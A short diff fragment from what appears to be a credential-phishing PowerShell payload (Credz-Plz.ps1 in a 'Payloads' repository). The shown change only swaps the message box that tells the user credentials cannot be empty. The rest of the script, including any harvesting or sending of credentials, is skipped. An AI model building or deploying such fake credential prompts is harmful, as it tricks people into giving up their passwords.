■ ■ ■ ■ ■ ■
Payloads/Flip-Credz-Plz/Credz-Plz.ps1
| skipped 61 lines |
62 | 62 | | |
63 | 63 | | if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password)) |
64 | 64 | | { |
65 | | - | [System.Windows.Forms.MessageBox]::Show("Credentials can not be empty!") |
| 65 | + | Add-Type -AssemblyName PresentationCore,PresentationFramework |
| 66 | + | $msgBody = "Credentials cannot be empty!" |
| 67 | + | $msgTitle = "Error" |
| 68 | + | $msgButton = 'Ok' |
| 69 | + | $msgImage = 'Stop' |
| 70 | + | $Result = [System.Windows.MessageBox]::Show($msgBody,$msgTitle,$msgButton,$msgImage) |
| 71 | + | Write-Host "The user clicked: $Result" |
66 | 72 | | $form = $null |
67 | 73 | | } |
68 | 74 | | |
| skipped 163 lines |